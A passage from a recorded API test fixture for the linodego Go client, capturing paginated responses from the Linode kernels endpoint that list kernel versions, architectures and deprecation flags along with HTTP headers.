"4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode60", "label": "3.14.5-x86-linode60", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86-linode59", "label": "3.14.4-x86-linode59", "version": "3.14.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86-linode58", "label": "3.14.1-x86-linode58", "version": "3.14.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86-linode57", "label": "3.13.7-x86-linode57", "version": "3.13.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86-linode56", "label": "3.12.9-x86-linode56", "version": "3.12.9", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86-linode54", "label": "3.11.6-x86-linode54", "version": "3.11.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86-linode55", "label": "3.12.6-x86-linode55", "version": "3.12.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86-linode53", "label": "3.10.3-x86-linode53", "version": "3.10.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86-linode52", "label": "3.9.3-x86-linode52", "version": "3.9.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86-linode51", "label": "3.9.2-x86-linode51", "version": "3.9.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-linode50", "label": "3.8.4-linode50", "version": "3.8.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-linode49", "label": "3.7.10-linode49", "version": "3.7.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-linode48", "label": "3.7.5-linode48", "version": "3.7.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-linode47", "label": "3.6.5-linode47", "version": "3.6.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-linode46", "label": "3.5.3-linode46", "version": "3.5.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-linode45", "label": "3.5.2-linode45", "version": "3.5.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-linode44", "label": "3.4.2-linode44", "version": "3.4.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-linode43", "label": "3.0.18-linode43", "version": "3.0.18", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.10-linode42", "label": "3.1.10-linode42", "version": "3.1.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.17-linode41", "label": "3.0.17-linode41", "version": "3.0.17", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-linode40", "label": "3.2.1-linode40", "version": "3.2.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-linode39", "label": "3.1.0-linode39", "version": "3.1.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode38", "label": "3.0.4-linode38", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, 